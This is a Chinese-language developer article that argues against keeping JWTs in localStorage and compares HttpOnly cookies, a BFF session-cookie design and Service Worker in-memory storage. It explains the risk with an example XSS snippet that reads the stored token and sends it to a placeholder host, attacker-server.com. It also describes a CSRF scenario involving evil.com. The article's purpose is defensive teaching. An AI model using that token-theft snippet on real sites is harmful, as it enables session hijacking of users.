前言

多年來，將 JWT (JSON Web Token) 等用戶的身份信息存儲在 localStorage或sessionStorage 中，似乎已經(jīng)成了前后端分離架構(gòu)下的“標(biāo)準(zhǔn)答案”。然而，隨著網(wǎng)絡(luò)安全威脅的不斷演進(jìn)，這個曾經(jīng)的“最佳實(shí)踐”如今已然成為一個巨大的安全隱患。

localStorage脆弱的安全性

localStorage 的核心問題在于其脆弱的安全性，這主要體MAT現(xiàn)在對 XSS (Cross-Site Scripting, 跨站腳本攻擊) 的無力抵抗上。

XSS

簡單來說，XSS 攻擊是指攻擊者設(shè)法在我們的網(wǎng)站上注入并執(zhí)行了惡意的 JavaScript 腳本。注入的途徑多種多樣，可能是一個被用戶渲染的惡意評論，也可能是一個包含惡意代碼的 URL 參數(shù)。

一旦惡意腳本在我們的頁面上成功執(zhí)行，它就擁有了與我們自己的前端代碼幾乎完全相同的權(quán)限。這意味著：

它可以輕松訪問 localStorage！

攻擊者只需要注入一行簡單的代碼，就可以將我們存儲的 JWT 發(fā)送到他自己的服務(wù)器上：

//攻擊者注入的惡意腳本
const stolenToken = localStorage.getItem('jwt_token');
//創(chuàng)建一個看不見的圖片元素
const img = new Image();
//將偷來的 Token 作為 URL 參數(shù)，賦值給圖片的 srcimg.src =`https://attacker-server.com/steal?token=${encodeURIComponent(stolenToken)}`;

一旦 Token 被盜，攻擊者就可以冒充我們的用戶，為所欲為。所有依賴于這個 Token 的后端接口都將對攻擊者敞開大門。這無疑是毀滅性的。

結(jié)論： localStorage 本質(zhì)上是一個對 JavaScript 完全開放的沙盒。任何能夠在我們頁面上執(zhí)行的腳本，都能讀寫其中的所有數(shù)據(jù)。將敏感的、具有用戶身份憑證的 JWT 存放在這里，就像把家門鑰匙掛在了門外的釘子上——方便了自己，也方便了小偷。

傳統(tǒng)解決方案：HttpOnly Cookie

為了解決 XSS 盜取 Token 的問題，社區(qū)很早就提出了一個經(jīng)典的方案：使用 HttpOnly Cookie。

當(dāng)服務(wù)器在設(shè)置 Cookie 時，如果添加了 HttpOnly 標(biāo)志，那么這個 Cookie 將無法通過客戶端 JavaScript (document.cookie) 來訪問。瀏覽器只會在發(fā)送 HTTP 請求時自動攜帶它。

優(yōu)點(diǎn)：

• 有效防御 XSS 盜取：由于 JS 無法讀取，XSS 攻擊者無法直接竊取 Token。
• 瀏覽器自動管理：無需前端代碼手動在每個請求頭中添加 Authorization。

但它也并非完美，帶來了新的挑戰(zhàn)：CSRF 攻擊。

CSRF

CSRF (Cross-Site Request Forgery, 跨站請求偽造) 是指攻擊者誘導(dǎo)用戶在一個已經(jīng)登錄的網(wǎng)站上，從一個惡意網(wǎng)站發(fā)起非本意的請求。

例如，我們登錄了 bank.com，瀏覽器保存了 bank.com 的 HttpOnly Cookie。此時，我們訪問了一個惡意網(wǎng)站 evil.com，該網(wǎng)站上有一個自動提交的表單，其目標(biāo)是 bank.com 的轉(zhuǎn)賬接口。當(dāng)我們打開 evil.com 時，瀏覽器會自動攜帶 bank.com 的 Cookie 發(fā)起轉(zhuǎn)賬請求，從而在我們自己不知情的情況下完成轉(zhuǎn)賬。

解決方案：

CSRF 有成熟的防御手段：

1. SameSite 屬性：在設(shè)置 Cookie 時，將 SameSite 屬性設(shè)置為 Strict 或 Lax，可以有效阻止跨站請求攜帶 Cookie。
2. CSRF Token：服務(wù)器生成一個隨機(jī)的 CSRF Token，前端在每次發(fā)起狀態(tài)變更的請求時，都需要在請求體或請求頭中攜帶這個 Token，服務(wù)器進(jìn)行驗證。

HttpOnly Cookie 方案雖然可行，但要求后端進(jìn)行精細(xì)的 Cookie 配置和 CSRF 防御，對于現(xiàn)代前后端分離、特別是需要跨域調(diào)用的場景，配置會變得更加復(fù)雜。

前端鑒權(quán)新思路

BFF (Backend for Frontend) + Cookie

BFF，即 Backend For Frontend（服務(wù)于前端的后端）。。

在 Web 服務(wù)里，搭建一個中間層，前端訪問中間層的接口，中間層再訪問后臺的 Java/C++ 服務(wù)。負(fù)責(zé)鑒權(quán)、API 聚合、數(shù)據(jù)轉(zhuǎn)換等。

這類服務(wù)的特點(diǎn)是不需要太強(qiáng)的服務(wù)器運(yùn)算能力，但對程序的靈活性有較高的要求。

鑒權(quán)流程：

1. 登錄：前端將用戶名密碼發(fā)送給 BFF。
2. 認(rèn)證與換取：BFF 將憑證發(fā)送給真正的認(rèn)證服務(wù)，獲取 JWT。
3. 設(shè)置安全 Cookie：BFF 并不將 JWT 返回給前端。取而代之，BFF 創(chuàng)建一個會話（Session），并將 Session ID 存儲在一個安全的、HttpOnly、SameSite=Strict 的 Cookie 中，返回給瀏覽器。
4. API 請求：前端向 BFF 發(fā)起所有 API 請求（例如 /api/user）。由于是同域請求（或配置了 withCredentials），瀏覽器會自動攜帶上述 Session Cookie。
5. 代理與鑒權(quán)：BFF 收到請求后，通過 Session Cookie 找到對應(yīng)的會話和 JWT，然后將 JWT 添加到請求頭中，再將請求轉(zhuǎn)發(fā)給后端的微服務(wù)。

BFF層作為前端與后端的橋梁，主要負(fù)責(zé)處理以下問題：

1. ‌適配多端需求‌：不同終端（如Web、移動端、小程序）對數(shù)據(jù)需求不同，BFF層可按前端需求定制數(shù)據(jù)格式，減少數(shù)據(jù)傳輸量。 ‌23
2. ‌簡化前端邏輯‌：封裝多個后端接口調(diào)用，將復(fù)雜業(yè)務(wù)邏輯移至后端處理，前端只需調(diào)用簡化后的API。 ‌25
3. ‌提升安全性‌：通過統(tǒng)一身份驗證、權(quán)限控制等機(jī)制，避免前端直接暴露后端細(xì)節(jié)。 ‌24
4. ‌降低耦合性‌：當(dāng)后端服務(wù)變更時，BFF層可進(jìn)行適配轉(zhuǎn)換，減少對前端的直接影響。 ‌23

優(yōu)點(diǎn)：

• 對于前端來說：讓前端有能力自由組裝后臺數(shù)據(jù)，這樣可以減少大量的業(yè)務(wù)溝通成本，加快業(yè)務(wù)的迭代速度；并且，前端同學(xué)能夠自主決定與后臺的通訊方式。
• 對于后臺和運(yùn)維來說，好處是：安全性（不會把主服務(wù)器暴露在外面）、降低主服務(wù)器的復(fù)雜度等。

缺點(diǎn)：

• 增加了架構(gòu)復(fù)雜度：需要額外維護(hù)一個 BFF 服務(wù)。

Service Worker + 內(nèi)存存儲

Service Worker是一種運(yùn)行在瀏覽器后臺的獨(dú)立線程，主要用于提升網(wǎng)頁性能和實(shí)現(xiàn)后臺功能，如離線緩存、網(wǎng)絡(luò)代理、消息推送等。

將 Token 的管理權(quán)完全交給 Service Worker，主線程（我們的 React/Vue 應(yīng)用）不直接接觸 Token。

鑒權(quán)流程：

1. 登錄：主線程登錄成功后，通過 postMessage 將獲取到的 JWT 發(fā)送給激活的 Service Worker。
2. 內(nèi)存存儲：Service Worker 接收到 Token 后，將其存儲在自身的作用域內(nèi)的一個變量中（即內(nèi)存中）。它不使用 localStorage 或 IndexedDB。
3. 攔截請求：前端應(yīng)用像往常一樣發(fā)起 fetch('/api/data') 請求，但不添加 Authorization 頭。
4. 注入 Token：Service Worker 監(jiān)聽 fetch 事件，攔截所有出站的 API 請求。它會克隆原始請求，并將內(nèi)存中存儲的 Token 添加到新請求的 Authorization 頭中。
5. 發(fā)送請求：Service Worker 將帶有 Token 的新請求發(fā)送到網(wǎng)絡(luò)。

優(yōu)點(diǎn)：

• 有效隔離：Token 存儲在 Service Worker 的獨(dú)立運(yùn)行環(huán)境中，與主線程的 window 對象隔離，常規(guī)的 XSS 腳本無法訪問 Service Worker 的內(nèi)部變量，安全性遠(yuǎn)高于 localStorage。
• 邏輯集中：Token 的刷新邏輯（Refresh Token）也可以封裝在 Service Worker 中，對應(yīng)用代碼完全透明。
• 無需額外服務(wù)：相比 BFF，這是一個純前端的解決方案。

缺點(diǎn)：

• 實(shí)現(xiàn)復(fù)雜：Service Worker 的生命周期和通信機(jī)制比 localStorage 復(fù)雜得多。
• 兼容性與穩(wěn)定性：需要考慮瀏覽器兼容性，以及 Service Worker 被意外終止或更新的場景。

幾種方案對比

總結(jié)

將 JWT 存儲在 localStorage 的時代正在過去。這并非危言聳聽，而是對日益嚴(yán)峻的網(wǎng)絡(luò)安全形勢的積極響應(yīng)。

• 對于新項目或有重構(gòu)計劃的項目，強(qiáng)烈建議采用 BFF + Cookie 模式。它雖然增加了架構(gòu)成本，但換來的是頂級的安全性和清晰的職責(zé)劃分，從長遠(yuǎn)看是值得的。
• 對于追求極致前端技術(shù)或構(gòu)建 PWA 的團(tuán)隊，Service Worker 方案提供了一個充滿想象力的選擇，能夠?qū)踩吔缈刂圃谇岸藘?nèi)部。
• 如果我們的應(yīng)用規(guī)模較小，且暫時無法引入 BFF，那么退而求其次，HttpOnly Cookie 配合嚴(yán)格的 SameSite 策略和 CSRF Token，依然是比 localStorage 安全得多的可靠選擇。

到此這篇關(guān)于關(guān)于js JWT的前端存儲新思路的文章就介紹到這了,更多相關(guān)js JWT前端存儲內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！

最新評論